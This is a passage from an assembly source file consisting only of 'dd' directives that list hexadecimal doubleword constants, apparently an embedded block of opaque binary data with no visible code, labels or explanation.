2221704Dh, 65EF9080h, 0E7B4BC35h dd 0A432077Ch, 2725E8E2h, 0C047D75Dh, 0EFEAF3A8h, 74ACE51Fh dd 0A31A6930h, 37F12991h, 63CA804Ch, 0EE9D60B1h, 0BF3EDE08h dd 0C23501E5h, 81531D33h, 2D497841h, 0A9836E71h, 12A50BDEh dd 0E096380Ah, 0A357F437h, 5680D504h, 1C771F62h, 18DD60BEh dd 7CE11B7Dh, 0CC2B5700h, 16994BB4h, 1E0B0075h, 9F6010F4h dd 7D1843A0h, 4029DB17h, 218A8BB0h, 0DA206C24h, 0B4817922h dd 181222C6h, 7E219824h, 0B3681127h, 0C4FC5210h, 804A4480h dd 4801065Fh, 6E7CB415h, 45E9AE13h, 134F0BE8h, 0AAF64B46h dd 375FAB00h, 0FB9A4EC6h dd 129028D0h, 30C02Dh, 9583881h, 530FF657h, 0B5E5Dh, 3AA75A07h dd 0AB75BBh, 489E1BEBh, 248D2990h, 0B0756C00h, 2378BA2h dd 0B1C6005Ah, 0AFE667F2h, 0B300297Dh, 0D07C23A4h, 14A0E82Fh dd 0A4FCAC6Eh, 0D6790B00h, 341A1F0Eh, 6099121Fh, 7B758680h dd 0F50BA29h, 1122979Ch, 0CA1EAB00h, 3E00CE8Dh, 0C720CC0Eh dd 5F7792Ah, 722B8380h, 62DC006Bh, 25A20481h, 0C8516800h dd 0CCCE89BFh, 8FB11C5Eh, 0F362C356h, 0D3E8072Ch, 4A0073AFh dd 0C2CC5B40h, 92EBB0h, 25320E0Fh, 0B7246A1Bh, 40418600h dd 0A80177FFh, 1F53798Eh, 875A4C55h, 0A09C326Fh, 0F876E830h dd 0C7BD6500h, 8F66A314h, 39F51883h, 94409828h, 59F77E00h dd 8AD215C0h, 0C4471FCAh, 1D0F007Bh, 90F42263h, 9BCCAF00h dd 0A811E81Ch, 0B7A63903h, 852B6D03h, 0B2D8C81Eh, 0BA308871h dd 0E28E10A4h, 0E93F10BEh, 0EE730179h, 32C7CED4h, 1837D8h dd 80B8ADD7h, 129C7AFDh, 0C32EC80Eh, 30932066h, 0E373FFh dd 7976F88Dh, 0AB7D3709h, 0A61CF11Ch, 0A08E900h, 0C3A885h dd 2703C97Eh, 0DB2CF6C6h, 2207E17Dh, 46EC4001h, 747E750h dd 5C304CB1h, 5DA3BF05h, 0D3A00038h, 0D29A8912h, 8AE1F28h dd 0C3088567h, 759FD7E1h, 6B50F07Ah, 4DA50400h, 46D91137h dd 28DE0008h, 72B89529h, 0D70045D4h, 0A3758E1Dh, 3A5B6CBh dd 20CF4A3Ch, 5DA0575Ah, 0CD035E67h, 7CFF1CB8h, 6DD2D8F0h dd 4860385h, 0C563A890h, 936EB2B0h, 4F66B600h, 64E2C817h dd 623900F1h, 0B157E9B5h, 0CA001DF4h, 8C386303h, 0EA6AD45h dd 0C186F675h, 20D55D6Bh, 46E47F20h, 4D990073h, 2EC3959Ah dd 0E74DBCC0h, 0BD8F00B8h, 518D3CABh, 61AC003Ah, 0D6E4666Eh dd 0C502B667h, 41D95B68h, 4DA8E091h, 0A1E40Eh, 4C482A83h dd 0D5BDD184h, 0C93FA400h, 8C733605h, 993A0F16h, 296F6F92h dd 28DCC86Ah, 546100B0h, 0A45D2A53h, 0DA3A5B43h, 218E9E7Eh dd 6F3807Eh, 69979149h, 1525005Fh, 142D98EBh, 10053B9h dd 0A39A951Ch, 0AD12259h, 3419CC0Ch, 7F4700E8h, 7DBFCF35h dd 0F13A5301h, 0F63B4A7Eh, 18090846h, 0F0AF6F2Bh, 0A91D737Eh dd 5408F6Ah, 0FE715856h, 7F7D074Bh, 8A43CC62h, 558F00E8h dd 0AFA3740Fh, 58A1B201h, 645C3B57h, 1DB5C5CCh, 358DF4h dd 9D8F9775h, 47003325h, 0AF7C60B4h, 0A4BC175Bh, 893700B0h dd 0CF18668Ah, 0D8005D9Bh, 889E92F5h, 3810DB3Bh, 278285ADh dd 765068B6h, 0E4758C80h, 0AA7C88E3h, 63F2DD0Eh, 3C33A09Fh dd 26ECA8FCh, 3327C14h, 54C64B85h, 0E8A238A0h, 56001E79h dd 9713BADFh, 7E0742BCh, 0D6C10074h, 48E71A4Bh, 0D47B6D34h dd 0DE0762FEh, 82EA30BAh, 0DC77007Fh, 0E1E4FDh, 1BC993CEh dd 29AC72D8h, 0D32C6700h, 31F797BBh, 68F80092h, 2E283B49h dd 85007FE8h, 21951D88h, 94938Bh, 6D6E9B1h, 18576BD3h dd 0DFEDF200h, 2B099BC7h, 9C990203h, 12CAC57Ch, 0F274F460h dd 0FE00D379h, 1BC349E0h, 405D5B9h, 0D7526EE8h, 77680FFh dd 0D018F815h, 2C201AC2h, 7C9812h, 56BF9591h, 40E854C4h dd 0DBF6EF00h, 0C04F7030h, 4FE0299h, 16B55646h, 4187F300h dd 7AEB7ECCh, 9FAD035Fh, 9AB2C75Eh, 0F7091167h, 7993D3E0h dd 0B9D70405h, 0C853FB3Fh, 80C6BA08h, 48CE2923h, 2B001C47h dd 6B758720h, 7E0702C4h, 325CEF11h, 0DC0E830h, 0C6F70066h dd 84628CA8h, 0BB39A32Fh, 619081E6h, 9E916434h, 0DD9AE0h dd 8FED45D6h, 57872389h, 80582900h, 0B6E261F3h, 0EA47D4Bh dd 0D413DA6Dh, 0CAA9674Fh, 83117F00h, 280141B9h, 5BF50D9Eh dd 6EFC88C6h, 0D64E015Ah, 0D7F17C1Ah, 0CED07058h, 6FC37200h dd 611547D0h, 0C44D0092h, 0C15A7712h, 9DD900Dh, 8715BDCFh dd 0C96D4Ch, 64673F54h, 0B363001Ch, 0C98A1B61h, 0A9F68EEBh dd 0F80B6890h, 2082DBEFh, 0DFC07D7Ch, 983098E8h, 7FD51D23h dd 0AE00BEC9h, 48C7F256h, 2003B32h, 2D01A1AAh, 0FCB52h dd 0A47D93C4h, 44A8CB7h, 760053FEh, 1D394573h, 18D79D36h dd 105A7D9Eh, 0B700D17Ah, 630A03A4h, 0F52F5Bh, 262BF435h dd 741CDCFFh, 971FAAFCh, 0FB0152C4h, 0BB817804h, 25CD99E0h dd 7000339Fh, 5983D88Eh, 0DF17960Bh, 0B1558760h, 6B334180h dd 0EFC8C02Bh, 2985F886h, 2C4F8400h, 92378F58h, 147707AEh dd 702F560Fh, 0BCA5E7EEh, 780CD802h, 0C350451Ch, 8A46E070h dd 8ECC02BEh, 0E1C3A04Eh, 0A76BF4E8h, 1A892D61h, 39EC5966h dd 75C80BEDh, 1880B00Ch, 0E6901F3Fh, 348AEC16h, 5D9CD700h dd 1FF447Dh, 1C3ACE87h, 308E18EAh, 4E07E70Eh, 3C639DD5h dd 9487AF30h, 69240182h, 0EF790609h, 0F1F8F7ECh, 7700FC1Dh dd 0FB452684h, 7EF47B38h, 587C012Eh, 126D66C4h, 5F17F89Dh dd 9F1A8800h, 0DC1BA1C2h, 8B920791h, 0B726BD3Fh, 3B471F95h dd 0FB1AF0D0h, 389040B4h, 0CBB05600h, 1D4E7EB7h, 55870089h dd 0C4FF9ACCh, 43095C9h, 66A608C2h, 2EF0F89Dh, 301449A7h dd 5B1D3DA6h, 0BD28A200h, 0F2C4ECB7h, 0DF360085h, 65678C37h dd 4607BA78h, 12B3D223h, 0D7BCA9B0h, 96D50066h, 0DAD45FEAh dd 53581C87h, 35440794h, 1380E759h, 3C314298h, 3300CDB3h dd 9F9174C6h, 2200C3CAh, 0A8FA5497h, 896FE6h, 0BEBB34A2h dd 87F42348h, 0A49A500h, 0B9952699h, 5F250007h, 90E20EBAh dd 0E5186BA2h, 21096F8Bh, 0A02500C6h, 5EF9153Eh, 0F22499D8h dd 0F700B27Ah, 0B123803Fh, 570630AEh, 0D003A0D9h, 42E7C40h dd 0CEEEC8FEh, 7BC7EF44h, 0E762A2F0h, 17C500A9h, 81806E03h dd 3C00EF2Bh, 0C1D6FBEAh, 799F93h, 0B6156B6Dh, 0F9021F48h dd 0FDB87C07h, 33907621h, 935B3Bh, 0CADA57FBh, 28A9CBA7h dd 0BECB300h, 0B25F1007h, 0AD410158h, 9AFC6EB6h, 1998DF6Ch dd 0A60B1DEFh, 0A21382h, 5AB2BE09h, 534B00DCh, 0FADAD58Bh dd 0E800B9F7h, 54AF0EF2h, 3BC9ACh, 9108AA2Bh, 0E7E58BB8h dd 0DDA21400h, 34473036h, 4165009Ah, 6891B1C8h, 640086CAh dd 45207351h, 5CA71DDFh, 0C01FE4ABh, 0DDAC815Fh, 0D4FB14A2h dd 88004B3Fh, 3852D1DFh, 3DC6CB8h, 0F4101592h, 50C04DE0h dd 346CCC3Ch, 4731158h, 75FE47E9h, 125E0041h, 9D89A2h dd 9C6FD20h, 0D268BB15h, 160913Eh, 9A5B012Ch, 2460FB49h dd 0FA0C036Dh, 37848F0Eh, 9502E387h, 0E5740690h, 0B86A5309h dd 0B4C900A6h, 9837831Eh, 0BCE10DCBh, 0E9F052EDh, 9B11D41Dh dd 0A00147Ch, 8BAF024Eh, 0FCF1C1h, 2E9128CFh, 0E06C1B67h dd 6F9A87BFh, 6BDD4370h, 0D80E00BFh, 0AD47FB46h, 8700F671h dd 9E15E4E5h, 50D35E9Ah, 0F965A011h, 4457D4h, 0CC667F9Fh dd 374C6096h, 59E039h, 82C503D9h, 6FF1DAh, 7CE37E24h, 77812106h dd 1EDF63Fh, 9B0D3A38h, 29E47071h, 897600A9h, 0A46F1A9Fh dd 0F800ECF5h, 0B64003B1h, 2538AFh, 839EE067h, 451B6EEBh dd 0CB475500h, 5D517D09h, 7318003Eh, 32E03D67h, 380FA6FEh dd 20AE9A83h, 37881E26h, 0B1664F2Ah, 2DE5D43Eh, 35FEC4Ch dd 94D784B0h, 139984Eh, 0E6C9008Dh, 41A36E11h, 3500D69Dh dd 13FF0B43h, 65EDEAh, 0FE5644AAh, 84A62D60h, 0FA20A71Ch dd 0CE30E5C3h, 0C3798291h, 7F0CF9DEh, 908693h, 2537C60Ah dd 5F00B961h, 53022436h, 3FBEDEB0h, 12075285h, 3D8E0Fh dd 0A393A4FEh, 9669CA00h, 7D5BA6F7h, 5F080FDEh, 9BE0430Fh dd 0AB1DFB30h, 1F4D1500h, 7B9E58A3h, 527F0032h, 0FC1E1C5Dh dd 2138A210h, 7A8200DDh, 0BA42C26Dh, 0D8DA00AEh, 6AC68D71h dd 0CF48301Ch, 4F3BC2h, 7476A388h, 0E349FE0h, 477BCC75h dd 7FA7B98Eh, 0F990407Eh, 0BA7D09FEh, 2937C81Fh, 0E0717ACAh dd 146BE200h, 0F6B980h, 0F05D4B9Fh, 0FD87C29Ah, 5AD8BE0Ch dd 0F0F1192Ah, 20E30046h, 0F9E4A786h, 0E80018F6h, 70B52BEAh dd 0E7FA3A6h, 0CF3E8C54h, 0D3699CA0h, 6C00E53Dh, 12FB2DA9h dd 3CB37B5h, 0A8527BBEh, 97F8A29Ch, 9E00F9F1h, 615F4524h dd 0CD7823Ch, 0F3DF2E40h, 54005860h, 0B7BB3157h, 1E991804h dd 554D85h, 0ACB0F55Fh, 0E200389Fh, 0EEF21D14h, 0A982A1h dd 8DBC9C03h, 0E060E62Eh, 730B401h, 0EFF68051h, 0A685E8h dd 493E9686h, 216FA365h, 91830203h, 876811DAh, 0F3008A6Ah dd 13C1BEF5h, 0E91B30F1h, 0E14822AEh, 8DCFB102h, 0E166E6B8h dd 0E8E33169h, 61F4C5h, 37FFEE91h, 57C380B2h, 0C1857300h dd 5FCD9A7Dh, 5A12013Ah, 550C2074h, 0A532CC94h, 0E08BF100h dd 0DD06876Dh, 3CE5EA3Bh, 0CD00E94Ah, 7E979425h, 2F3B5F3Ch dd 0F3E48090h, 4505B1EFh, 78900Ah, 99DA59E7h, 0E1DCE93Eh dd 57195C00h, 852DEBA1h, 2B3100AFh, 30ECAE87h, 0ED18CB86h dd 0CD09832Fh, 33170E6h, 0F34D751Ch, 0EEF87FBAh, 1B098CA6h dd 8BADEBh, 0CD3E67A4h, 9E600BBh, 3468B0DEh, 0D00B744h dd 3B0C690Ah, 0BBBA6DBh, 1399D049h, 1B2D5100h, 0CE00D8EDh dd 0F3BD5F4Ah, 0C21AD6h, 5BE6CA0Eh, 292E4499h, 6E96D000h dd 0FAD6F2FBh, 90B4736Ch, 0BD1000Ch, 0D9A4E72Ch, 8500F9A8h dd 58E96ACCh, 3606219h, 0D1F5BA1Fh, 0EA8155C6h, 5A8200Dh dd 9E992B03h, 0B0892687h, 1B26457h, 0D785B55Bh, 0E053F28Bh dd 5900CFD6h, 47FD0F7Dh, 27CDF90h, 0F6458919h, 0E460C203h dd 763CA702h, 0D83C1C6Ah, 7C287F40h, 0E1D3081h, 0AC09F0CDh dd 0EFBA2660h, 0E00375AEh, 93A37E1Eh, 1D73B8A4h, 32870221h dd 135F49C0h, 0A052CF60h, 70017A73h, 53FCBF75h, 0DF207F31h dd 0F98F007Dh, 5AED69CEh, 0AC3B8118h, 245014DFh, 128D05F0h dd 804B6F94h, 0FD1E00A7h, 0EA19FAAh, 0DC9E54FBh, 0DDBBAB00h dd 0BA6010FFh, 21D69208h, 86AC13F0h, 58541FBDh, 4B9BD89Fh dd 9A029C7Ah, 0CE3719D5h, 77F08BC8h, 3455D180h, 5D0475ACh dd 8DEEAE83h, 0D9D0E287h, 1ED9633h, 98468AA0h, 24E6F5F0h dd 0E588D90h, 0EDA6002Bh, 1160EBFBh, 15260598h, 388846Bh dd 0ADCB94C8h, 0B369EFE0h, 625F8600h, 8318E45Eh, 3A1574AAh dd 0CF80BDA6h, 741B2772h, 440078C7h, 83805802h, 0B8351DEEh dd 0AD9D008Dh, 457BDB5Fh, 0D800B1C4h, 41F86EB4h, 900D23AFh dd 898000A3h, 79DF7DDBh, 437EC565h, 61A5031Ch, 0B314CF40h dd 0E3C384Ah, 5A460286h, 8A8B9E81h, 68C4DC09h, 61E99F00h dd 0F14EEF63h, 0B6211D4Bh, 0B49480E3h, 47C9D5D8h, 14321E0Bh dd 0AB805FA3h, 54A80ECEh, 111D8EFh, 0C8560B24h, 3DEFE800h dd 0B83F55C0h, 4B1A00ABh, 450BC16Dh, 0AB4CB9D4h, 0BCBFC074h dd 95873D0Ah, 0F4F7F5D8h, 0B0E45BFDh, 6A340601h, 6B3204C0h dd 3F9460D2h, 26F7018Ch, 1555EB3Ch, 70BE64h, 0D3D4A3DDh dd 3AEFACD0h, 0E53A88C9h, 1598BA06h, 0D7009955h, 0E6AB0D92h dd 1F7484h, 0CB7BF8DDh, 4594C743h, 0A103C200h, 0F7236061h dd 16831E5Fh, 8446C087h, 7A5C26C1h, 0EFB0A100h, 61EE4CBFh dd 7D2B1723h, 78E30099h, 3BF41434h, 90385C90h, 0BCE79EF7h dd 3B398C69h, 0C9D481DAh, 52C2AD40h, 75E11980h, 352E5A8Fh dd 3C2342C0h, 0A81355F1h, 1D25170h, 0EFAD60D3h, 41ACD4EBh dd 64BC18D8h, 6E00F020h, 48192278h, 1D0DD326h, 40295EA1h dd 35CE5C81h, 1A13B3C0h, 0D600D083h, 12AAC819h, 602100D9h dd 0D6FEAF24h, 4701E0C4h, 0F8CC3DF3h, 97E145DAh, 42F00421h dd 8503009Eh, 5F09E44Fh, 4C079A94h, 0B8843AACh, 83735E17h dd 0BA6F8842h, 380C002Fh, 1DD564DBh, 0E61C6C66h, 1400EB65h dd 2A6F6724h, 0E943027h, 17EDB9C1h, 0E78F8E01h, 979864F6h dd 21C20898h, 1700E5D7h, 7002B172h, 6C345Dh, 1D12F0F4h dd 500F4F64h, 0C49F5318h, 48C931h, 23FE7E88h, 0F7BD211h dd 0C617161Ch, 0CA63DCC4h, 2A733C00h, 0FAFA1EE9h, 0B85DB22Ah dd 6AB6F800h, 0F7AC3F2Fh, 7CE71D57h, 214318F6h, 69007E86h dd 5178C268h, 0C0C90BD5h, 0ACAFAA50h, 0D00CF87Dh, 16C419D1h dd 10846DF5h, 40408298h, 4472885Ch, 8F0A120Ch, 35C124Dh dd 9861D75Fh, 31E60830h, 7C4DF421h, 0AA9600C6h, 8F9935B7h dd 43383154h, 0E3EB81D1h, 66913DF7h, 9523AC41h, 1708E90Ch dd 0C4078F8Ah, 0E1CB40F5h, 33A1B17h, 467E9033h, 619F3BD8h dd 0A4D5481Ch, 6B003EB8h, 1A6693F1h, 0E10D6CA1h, 48C89C8h dd 0C9EE4D80h, 0F62A3898h, 5E7B0E4Dh, 0EAE1660Eh, 805A77C3h dd 0BE6A86B8h, 0EF9B48h, 0DA37D15Ch, 0BC5FA6A8h, 0DAB8694Ah dd 2303C00h, 81BE4210h, 216D8E00h, 410DDD85h, 0CC8C0099h dd 59725FE0h, 4500A2FFh, 0B84798B3h, 0BECF0E3h, 70C2DC35h dd 4A08E703h, 37F6D0C7h, 510018F5h, 0D3439D7Ah, 7EBA240h dd 0C91C4C0Fh, 0B0B8D0A6h, 0FB000C0Bh, 0AEC775A9h, 0FAB992AFh dd 76A2B0F2h, 0A523008Eh, 97A6A099h, 6500C779h, 0E0191FC8h dd 7C0EC9h, 0DA2D50F1h, 2E742261h, 0E40CEE01h, 232C2944h dd 3E6376F0h, 0D300A991h, 0A479F315h, 0B49093E5h, 96E19C00h dd 0A9BD6CDFh, 2881F951h, 0A10B32F2h, 0FDE7C48Dh, 90CCEC00h dd 0EC80770h, 1F7A8Ah, 0FB1D6194h, 0D5F6A946h, 2A048E00h dd 0C347BD74h, 16680166h, 0A94B8C32h, 0FA59875Ah, 40106BAAh dd 0E6D6A03Eh, 58FEECD9h, 2000A3EBh, 817F4D23h, 0BD2F6EECh dd 1D08D604h, 0EECE00C1h, 3F382118h, 1F55A95Ch, 0A6063681h dd 77181CE2h, 0E13705B7h, 0A65C2h, 7AF3EEA8h, 0F0C5092Bh dd 0B440C3A8h, 0CA418199h, 21070787h, 0E10527C4h, 0F8F9FEA7h dd 0D714E301h, 8CE5FDh, 0DDA422CEh, 8B91B0h, 0CA02970Ch dd 8C066AA5h, 5421671Ch, 0C10FC9C0h, 593BD7h, 80FAAB27h dd 7CBE8AEBh, 0A8852E00h, 8CA20796h, 0AF040024h, 3BF63622h dd 0EB3C632Ch, 0CD8200EFh, 8C1D67DCh, 727AF031h, 15570B07h dd 0A0039D42h, 23E09996h, 0E2007DD4h, 947CF279h, 0F554815h dd 90B3A59h, 57BA7B20h, 0FA003651h, 195ADBDDh, 0E9A786h dd 0FE66381Fh, 34ACCB47h, 523B8D00h, 0FD05EEB2h, 77E12C17h dd 760E3A66h, 0CE670BE5h, 0FC09E1FEh, 9880803Bh, 12D5FF90h dd 877AE2h, 4E160A49h, 0F8A22254h, 0A3D77C07h, 63A00D83h dd 3A4FD809h, 0E2806064h, 4DF09DCFh, 124842B3h, 6AF40067h dd 2ED078E1h, 0B7A744Bh, 4F595BE7h, 147F80FFh, 0D81CCAh dd 4DB6411Dh, 5A8DF0B8h, 0F3232700h, 59E97582h, 3D710072h dd 0ADEA222Fh, 0B80058B6h, 0DA1CFA6Ah, 0C48A4F4Ah, 44729E29h dd 4644F72Ch, 36C342F9h, 42A0574h, 5DFE7028h, 591BF891h dd 21EC2933h, 7E12F19Dh, 0C8842010h, 38420279h, 67A25ABh dd 51347F14h, 16116E42h, 145621F5h, 3A2114DEh, 9099C708h dd 0C8388632h, 29466079h, 7B1AE86Fh, 1C3DF370h, 0CB1B077Dh dd 10B14A7Ah, 0EFF179h, 90B37B08h, 75231563h, 2D14B000h dd 0D928EC1Ah, 26BE4861h, 9E816700h, 4897BD2Fh, 0A9ADF800h dd 0FC7A0859h, 5A86002Bh dd 0C1242DBBh, 7B030243h, 0F40B09D4h, 6C25E850h, 0CD74DAh dd 4180A976h, 4856C589h, 6D51D00h, 0BC4FBE5Dh, 0B7FC007Fh dd 0ECA033E2h, 393CA8E9h, 320A078Ch, 0BF10444Eh, 78B285Fh dd 0BA7869AAh, 5A7B60C0h, 0BC03013Eh, 1DD1C1FDh, 0B8F280E0h dd 3383D1Ah, 0BF5324h, 0DE320888h, 593C28F1h, 94EC0095h dd 2ED91397h, 7AA600D3h, 0D900F9Bh, 5800DDA0h, 1E3F1676h dd 0F8FC27h, 0E132964Eh, 0B31246C7h, 8190F900h, 3191B80Bh dd 0A9491D8Bh, 883B07DEh, 0E342D075h, 7F001CFBh, 0E824E5C3h dd 0D5D7AAh, 0C73A1947h, 0E2BB5FAFh, 0A8860917h, 64503800h dd 73507B0h, 0FD95FC0Eh, 5844F0F4h, 0D60024CFh, 0F66059D8h dd 5C668874h, 767D65h, 955D6252h, 8D2FF380h, 0B904C20Fh dd 2C47004Ah, 67A7Fh, 69A440E7h, 0D739082h, 0B4E4A87Eh dd 0E9796C00h, 0DEE22DF5h, 2EDC0E1Eh, 0F8A064F3h, 8EEEC396h dd 0A339DD00h, 6AB1CCFAh, 7DC407EFh, 93FBBE9Ah, 0CBF8E4A9h dd 0D3012204h, 0F8BFDEE7h, 4DE04664h, 65ED0185h, 0FA0AF48Ah dd 43DAFC9Eh, 6C0C0E01h, 1EE7F2D8h, 1D4531E8h, 4057B264h dd 1D3DD20Ah, 0EF039E17h, 0D6B33C01h, 52BAE814h, 9C971CF7h dd 0C3E48096h, 21FBCC61h, 404AC0A0h, 0D26C3B00h, 7371F91Bh dd 9F3C0043h, 99D11E5Fh, 0DD2C425Ch, 5107FB9Dh, 5220578Bh dd 7D5D85h, 7EBF3D74h, 5BE63AACh, 0E0DE2100h, 0AAF5D998h dd 0B45E0348h, 0ABFB8089h, 83FC83A1h, 3F05A0B4h, 3626D886h dd 1C161E33h, 0A147C097h, 0F6615A58h, 0FFB02700h, 0E2BC5D87h dd 658E0211h, 7DF26231h, 1007BC80h, 630ED06Fh, 40B77F22h dd 6A5AA3BFh, 68AD0095h, 704CC856h, 0D03B2401h, 3C930686h dd 1003C5h, 0DD265D48h, 6A057408h, 3338A00Ah, 73888D7h dd 0FDE537FAh, 8AC10EF0h, 0EA790799h, 33BA2610h, 6CC897FCh dd 0B0933CDh, 0F967E3h, 69D94D2Ch, 1DA42413h, 8C7D025Ch dd 415D8451h, 0E841BC60h, 5C20225Dh, 2EB8F5h, 887864DFh dd 2A4A3239h, 205D0D09h, 9054004Bh, 7D91D36h, 0E65A4FFDh dd 22A101Fh, 0AE009B8Dh, 543D9582h, 0E88A7C0Bh, 0A3461278h dd 648800E3h, 0D1A41DFh, 88630C00h, 0E0759CAAh, 2DF30006h dd 127015B4h, 32769520h, 6BE3FD0Ah, 4600BBF6h, 4A19CE82h dd 0E752008Eh, 50371E1Ah, 0C301694Fh, 783E6889h, 0D3E094F0h dd 841205CDh, 0F99F2Dh, 2F4CEE9Ch, 327B7D98h, 3F78CE00h dd 4A929AE0h, 7FB60425h, 80FA313Eh, 0EC6FA6F8h, 61A56300h dd 99A765EAh, 5FFE72h, 9542E8DBh, 2571C497h, 34AAF604h dd 249982BAh, 426FE0h, 0B5287F66h, 0F61E846Ch, 0A79138h dd 760C2FFFh, 4864A6E8h, 6202203Bh, 383FF033h, 232BEC80h dd 0C000F9E9h, 0F76AEC2Eh, 141C19DAh, 0D05CA1EDh, 326D1E79h dd 8B0B8098h, 25413079h, 2C0F3EF2h, 0C0B72788h, 0C37DF90Ah dd 6AB60F57h, 5C45EFC0h, 0A429818Eh, 0E978D4A7h, 0C14B3400h dd 0AFB3DC0Fh, 78F7768h, 40F4F329h, 6CC01FC5h, 0D8C0BC3Ah dd 13E7100Eh, 0E9F280C3h, 4A198B0h, 0B3B72BA8h, 94880DEh dd 2D00EF31h, 0E01548F7h, 0F6B8DDAAh, 0CD48C08Ch, 901F7F0Dh dd 0C2D02A0Eh, 0EADD4095h, 91F18Ah, 73806B13h, 52497D11h dd 0ABD80B1Fh, 78A2B140h, 0CD30AEh, 73555FEh, 0F0A57F91h dd 1FE0EB75h, 81F71600h, 8BED4C43h, 4637E40h, 0E16818C2h dd 0E542C227h, 610B8583h, 0D06F69C1h, 1A00A7C5h, 62AA8D6Bh dd 0F429863h, 0CC73D34h, 0D06C8960h, 972CC685h, 0F316008Ch dd 0A9C9A00h, 0AA2E5B1h, 5347BEF1h, 4E5102C8h, 5F43B78Fh dd 2CCB288h, 30B05E50h, 5B8C5709h, 60088005h, 35051F4h dd 2668F5F6h, 40714492h, 609FA71h, 872C1895h, 3897DD30h dd 0D7CAD000h, 4A492C44h, 0B991007Ch, 1641CFEEh, 5728E300h dd 9B3E6D04h, 3C9881h, 0B297F6D0h, 0EFDBD9A4h, 25AD3D00h dd 2F298E3Bh, 0B7A205BAh, 80C0EE56h, 46B24E73h, 54D34800h dd 0CC36E13Eh, 0AF1100FAh, 0BDE22818h, 0B306857Fh, 0F3F28356h dd 1FBF4280h, 884048D3h, 0A61786E3h, 0BAC6020Fh, 4F57EFE6h dd 0C4272161h, 0E0003681h, 0D9F917FBh, 4F32E1BBh, 2D24F031h dd 0B73F8300h, 0C09DCB81h, 0A1759Ch, 0D58D2BE8h, 86169793h dd 9EF63A00h, 7EBDC225h, 802600DDh, 56B4D0C3h, 0B00EE511h dd 0A7CFE6ACh, 0C00F7EAFh, 36923706h, 0EB351D24h, 21C5408Bh dd 0E66FF98Fh, 0D04EF503h, 8FA4CD28h, 0EB7A0B50h, 0ACD30074h dd 1CF2023Eh, 960714EAh, 0B012E3D1h, 0CF13E6D0h, 8A3D4h dd 0F67C9D09h, 13185FBEh, 31A5E500h, 34B1B8FDh, 7BC7D09h dd 0FAC047C7h, 4EF69335h, 8F1C9DA8h, 0A44FAE26h, 20FD803Eh dd 141B11FFh, 9FAB0E0Fh, 0E280A9BAh, 71C3BBCAh, 2B29A71Dh dd 0BDDADF81h, 13207C31h, 7101E085h, 8DAB0080h, 5E624507h dd 33075C9Ch, 42184B11h, 4AEAC900h, 9F0E1203h, 35BB00AFh dd 0CCF96938h, 0DB433300h, 0B56E9BDDh, 78E5004Ch, 0CA19FCFh dd 0F6F6F47Dh, 90287676h, 3E02F9A8h, 0B38DE21Ah, 3BC40ECh dd 0EE3300A1h, 0E821A7DEh, 2400AE04h, 25A3DB4Fh, 5FD884h dd 98768059h, 0AAEC8326h, 0E61F51F8h, 5E402F8Ch, 5D74077Dh dd 71B10470h, 18DC83Fh, 87F311D1h, 3C1FBC72h, 40F81F3Dh dd 8DE65DDBh, 5B00F573h, 1413EF2Fh, 0F04EFBh, 0A3420B49h dd 0AD9FC8DBh, 90707C79h, 0FCCF20Eh, 6092C437h, 9904B881h dd 3D84E0EEh, 0EA100A68h, 0C850C5h, 2CCB3C69h, 0FA3EA11Bh dd 70261C58h, 0A584803Fh, 0D4F1A9E9h, 0AEEA052Ah, 0C9E84FC9h dd 0FD1E308Ch, 0E3BBE02h, 8083D428h, 4B4CDF8h, 54EA26D9h dd 0EE7D04A9h, 6E988055h, 3006751Ah, 8F827A1Eh, 0DDF803A8h dd 0A59E73A0h, 8010F497h, 0A8097408h, 0CA0911D8h, 0A3520271h dd 79403EE5h, 7D48D860h, 6638FF00h, 0A43C2C90h, 3A3618ECh dd 41AE8882h, 0C0308F59h, 6669B60Fh, 39951D31h, 424DC4A3h dd 3834C006h, 0BE090B8Eh, 39F63DAh, 0F4900299h, 56CA0h dd 0CD29DDA9h, 0C3986EA6h, 3ED2FB00h, 96F217B0h, 0A59B28F3h dd 0B6C50398h, 0D9064EB2h, 0F40745E8h, 8600CBECh, 0D75AB067h dd 212DFDEh, 6EE2D50Bh, 7A40C901h, 0B9002D38h, 0F9BDF761h dd 0CB8FE20h, 79F18A2h, 420E26A0h, 63BC7257h, 90767459h dd 487B6982h, 0BA302873h, 0D90D3409h, 366048h, 875CA73Dh dd 3A5FB353h, 943A2733h, 9F751500h, 800E7288h, 0B0E45100h dd 0C2E7120Dh, 0FB3E3E50h, 388E097Fh, 0DC20BDB3h, 67427531h dd 0D6882750h, 6316BE00h, 6C194BB7h, 6F5A0192h, 5B36A7FCh dd 0E852D834h, 0C05538C0h, 0AEB6621h, 80BFD1C7h, 2A413FCh dd 86482458h, 8BB9A4C0h, 463C2074h, 5AD08080h, 7E750170h dd 0A8BC00C3h, 73777C8h, 823DC56Ch, 0C6668058h, 0D2E97EF9h dd 1E86F67Fh, 43B4F87Bh, 7AAF9D33h, 0C38BB0F0h, 108F1A00h dd 54F39AD8h, 52F91EFAh, 0D6DE49DCh, 9B22880h, 2A005937h dd 0C32F025Fh, 5041EDECh, 2B9898h, 52E78521h, 0BA5DB16Eh dd 0BF82F500h, 0ED80ECC5h, 8F1100C7h, 81FF26D8h, 9C773D9h dd 0E880386Dh, 908CF83Fh, 141A0005h, 102E51EDh, 0BF00191Ch dd 1BD30B54h, 2AD8738h, 5C972B85h, 6760DE79h, 0E5F8AA9Dh dd 0E80B9001h, 0C9CAD68Bh, 2BD6BE8h, 1523D75Dh, 52600E3Ch dd 6E0E814Bh, 45DA1Bh, 54AB1689h, 427A0257h, 12649547h dd 0A5A312C0h, 8C082102h dd 805E3881h, 7DC12BB7h, 0E63B0E34h, 96834EC4h, 33E07A9Ah dd 0F501AD88h, 88B868Fh, 3DD46BDAh, 51FB000Bh, 0E841E234h dd 8C00F545h, 36B9440Fh, 0C0A2C623h, 653816A0h, 31009D95h dd 269F5B67h, 0B29234h, 0A7336F39h, 59EF9B25h, 7E707A07h dd 88401B8Bh, 736E1189h, 364A1D90h, 80007A53h, 0EBEFCD97h dd 0B0000A33h, 42F17314h, 7F758191h, 9C673E1Eh, 97A2B48h dd 0B660AEFEh, 0A343E500h, 84002498h, 0EEAA93FFh, 6F1B54h dd 0B7B5AED1h, 11C2FE4Ah, 9C06D40Bh, 84DA8018h, 2A68DC6Bh dd 3C89DB1h, 1CC33670h, 6EA01DEBh, 8D283C81h, 5301B488h dd 0A8ED6552h, 76E883CDh, 7B8900D1h, 4B215915h, 740F3FAFh dd 3DABF78Bh, 0DD275F81h, 0A9E8A2A4h, 6887032Ah, 